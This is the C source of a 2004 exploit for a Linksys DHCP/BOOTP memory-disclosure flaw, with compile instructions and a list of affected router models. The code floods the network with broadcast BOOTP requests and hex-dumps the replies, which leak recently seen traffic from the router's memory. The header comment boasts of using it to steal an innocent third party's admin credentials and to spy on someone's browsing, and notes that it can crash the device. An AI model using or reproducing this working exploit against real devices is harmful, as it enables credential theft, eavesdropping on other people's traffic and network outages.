/*
 *
 * Apparently Linksys devices that have a DHCP server on them
 * don't properly handle BOOTP packets.  Instead of returning
 * legitimate BOOTP responses, they  return BOOTP responses with
 * the BOOTP fields filled in with portions of memory.  This
 * allows you to do cool things like the equivalent of sniffing
 * all the traffic to/from the device.
 *
 * To the best of my knowledge, this only allows you to read
 * traffic that was recently sent to/from the linksys device 
 * (on any of its ports if its a hub/switch).  I have successfully
 * used this technique to steal the admin username and password
 * from an innocent third party who recently configured the device,
 * and I watched someone's traffic as they browsed ebay for a new 
 * Ti-Book.  In a number of cases, after sufficient packets were sent,
 * the device stopped routing packets and would only continue working
 * again after a power cycle.
 *
 * You won't always get memory on the first packet, so try
 * sending many packets.  Even if you do get portions of memory,
 * you'll only get something interesting if the linksys device was 
 * recently active.
 *
 * If you try the payload option, you can see that canary value in 
 * BOOTP reply packets -- not necessarily right away, but eventually.  
 * This usually appears in the BOOTP vendor specific options field,
 * typically right at the very beginning.
 *
 * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but 
 * will likely work on all Linksys devices that have a DHCP
 * server.  Currently, this looks to include at least the BEFN2PS4, 
 * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
 * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
 * 
 *
 * Requires libnet (1.1.x) and libpcap
 *
 * Compile with something like:
 *
 * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
 * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs` -lpcap
 * 
 *
 * Jon Hart <warchild@spoofed.org>
 *
 * Copyright (c) 2004, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#include <libnet.h>
#include <pcap.h>
#if (SOLARIS || BSD)
#include <netinet/if_ether.h>
#else
#include <netinet/ether.h>
#endif

#define HEXDUMP_BYTES_PER_LINE 16
#define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
#define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
#define HEXDUMP_HEXSTUFF_PER_LINE \
            (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)

void ascii_print_with_offset(register const u_char *cp, register u_int length);
void usage();
void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet);

int main(int argc, char *argv[]) {

	int c, time = 5, dump = 0, count = 0;

	libnet_t *libnet;
	struct libnet_stats stats_libnet;
	libnet_ptag_t ether, ipv4, udp, bootp;
	struct libnet_ether_addr *src_ether;

	pcap_t *pcap;
	struct pcap_stat stats_pcap;
	struct bpf_program filter;
	char filter_exp[] = "src port 67 and dst port 68";
	bpf_u_int32 mask, net;

	char errbuf[LIBNET_ERRBUF_SIZE];
	char *interface = NULL;
	char *payload = NULL;
	u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

	while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
		switch (c) {
			case 'c':
					count = atoi(optarg);
					break;
			case 'i':
				interface = optarg;
				break;
			case 'p':
				payload = optarg;
				break;
			case 's':
				time = atoi(optarg);
				break;
			case 'X':
				dump = 1;
				break;
			default:
				 usage();
				 return(1);
		}
	}


	if (interface == NULL) {
			fprintf(stderr, "Please specify an interface\n");
			usage();
			return(1);
	}

	if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
		fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
		return(1);
	}

	if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
		fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	memset(&stats_libnet, 0, sizeof(struct libnet_stats));

	libnet_seed_prand(libnet);
	
	if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL) {
		fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		pcap_close(pcap);
		return(1);
	}

	if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
		fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_close(pcap);
	}

	if (pcap_setfilter(pcap, &filter) == -1) {
		fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_freecode(&filter);
		pcap_close(pcap);
	}

	memset(&stats_pcap, 0, sizeof(struct pcap_stat));

	/* If we want to tack some "payload" into the BOOTP packet, 
	 * we must do it here before the bootp stuff is built
	 */
	if (!(payload == NULL)) {
			libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
	}

	/* The device seems to croak on the simplest of BOOTP packets,
	 * so lets do that, shall we
	 */
	bootp = libnet_build_bootpv4(
				LIBNET_DHCP_REQUEST,
				1,
				ETHER_ADDR_LEN,
				0,
				libnet_get_prand(LIBNET_PR32),
				0,
				0x8000,
				0,
				0,
				0,
				0,
				src_ether->ether_addr_octet,
				NULL,
				NULL,
				NULL,
				0,
				libnet,
				0);

	if (bootp == -1) {
		fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	udp = libnet_build_udp(
			68,
			67,
			LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
			0,
			NULL,
			0,
			libnet,
			0);


	if (udp == -1) {
		fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	ipv4 = libnet_build_ipv4(
				LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
				0,
				libnet_get_prand(LIBNET_PR16),
				IP_DF,
				libnet_get_prand(LIBNET_PR8),
				IPPROTO_UDP,
				0,
				inet_addr("0.0.0.0"),
				inet_addr("255.255.255.255"),
				NULL,
				0,
				libnet,
				0);

	if (ipv4 == -1) {
			fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
			goto die;
	}

	ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);	

	if (ether == -1) {
			fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
			goto die;
	}

	if (count == 0) {
		for(;;) {
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			sleep(time);
		}
	} else {
		for (c = 0; c < count; c++) { 
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			if (!(c + 1 == count)) {
				sleep(time);
			}
		}
	}

	libnet_stats(libnet, &stats_libnet);
	
	if (pcap_stats(pcap, &stats_pcap) == -1) {
		fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
	} else {
		fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
				stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
	}

	goto die;

die:
	libnet_destroy(libnet);
	pcap_freecode(&filter);
	pcap_close(pcap);
	return(0);
}

/* Borrowed from tcpdump */
void ascii_print_with_offset(register const u_char *cp, register u_int length) {
	register u_int i, oset = 0;
	register int s1, s2, chr = 0;
	register int nshorts;
	char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
	char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
	char *ascii_color = "01;32";

	nshorts = length / sizeof(u_short);
	i = 0;
	hsp = hexstuff; asp = asciistuff;
	while (--nshorts >= 0) {
		s1 = *cp++;
		s2 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x%02x", s1, s2);
		hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
		*(asp++) = s1;
		*(asp++) = s2;
		if (++i >= HEXDUMP_SHORTS_PER_LINE) {
			*hsp = *asp = '\0';
			(void)printf("\n0x%04x\t%-*s ",
			oset, HEXDUMP_HEXSTUFF_PER_LINE,
			hexstuff);
			for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
				if (isprint(asciistuff[chr])) {
					(void)printf("\33[%sm", ascii_color);
					(void)printf("%c", asciistuff[chr]);
					fputs("\33[00m", stdout);
				} else {
					(void)printf(".");
				}
			}
			i = 0; hsp = hexstuff; asp = asciistuff;
			oset += HEXDUMP_BYTES_PER_LINE;
		}
	}
	if (length & 1) {
		s1 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x", s1);
		hsp += 3;
		*(asp++) = s1;
		++i;
	}
	if (i > 0) {
		*hsp = *asp = '\0';
		(void)printf("\n0x%04x\t%-*s ",
						oset, HEXDUMP_HEXSTUFF_PER_LINE,
						hexstuff);
		for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0'; chr++) {
			if (isgraph(asciistuff[chr])) {
				(void)printf("\33[%sm", ascii_color);
				(void)printf("%c", asciistuff[chr]);
				fputs("\33[00m", stdout);
			} else {
				(void)printf(".");
			}
		}
	}
}

void usage() {
	fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
	fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
	fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
	fprintf(stderr, "\n\tUsage:\n");
	fprintf(stderr, "\t\t-c count  # number of packets to send\n");
	fprintf(stderr, "\t\t-i interface  # interface to send packets to\n");
	fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
	fprintf(stderr, "\t\t-s seconds  # (optional) seconds to sleep between packets\n");
	fprintf(stderr, "\t\t-X   # dump captured data\n");
	fprintf(stderr, "\n\n");
}

void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet) {

	struct ether_header *ether = (struct ether_header *) packet;
	struct iphdr *ip;
	u_int jump = 0;

	if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
		return;
	}

	/* Jump past the ethernet header */
	jump += LIBNET_ETH_H;
	ip = (struct iphdr *)(packet + jump);

	/* Jump past the IP header */
	jump += ip->ihl * 4;

	/* Jump past the UDP header */
	jump += LIBNET_UDP_H;

	/* Now print out the UDP data, which is just the BOOTP portion of 
	 * the packet.  This should contain the interesting data.
	 */
	ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
	printf("\n");
}
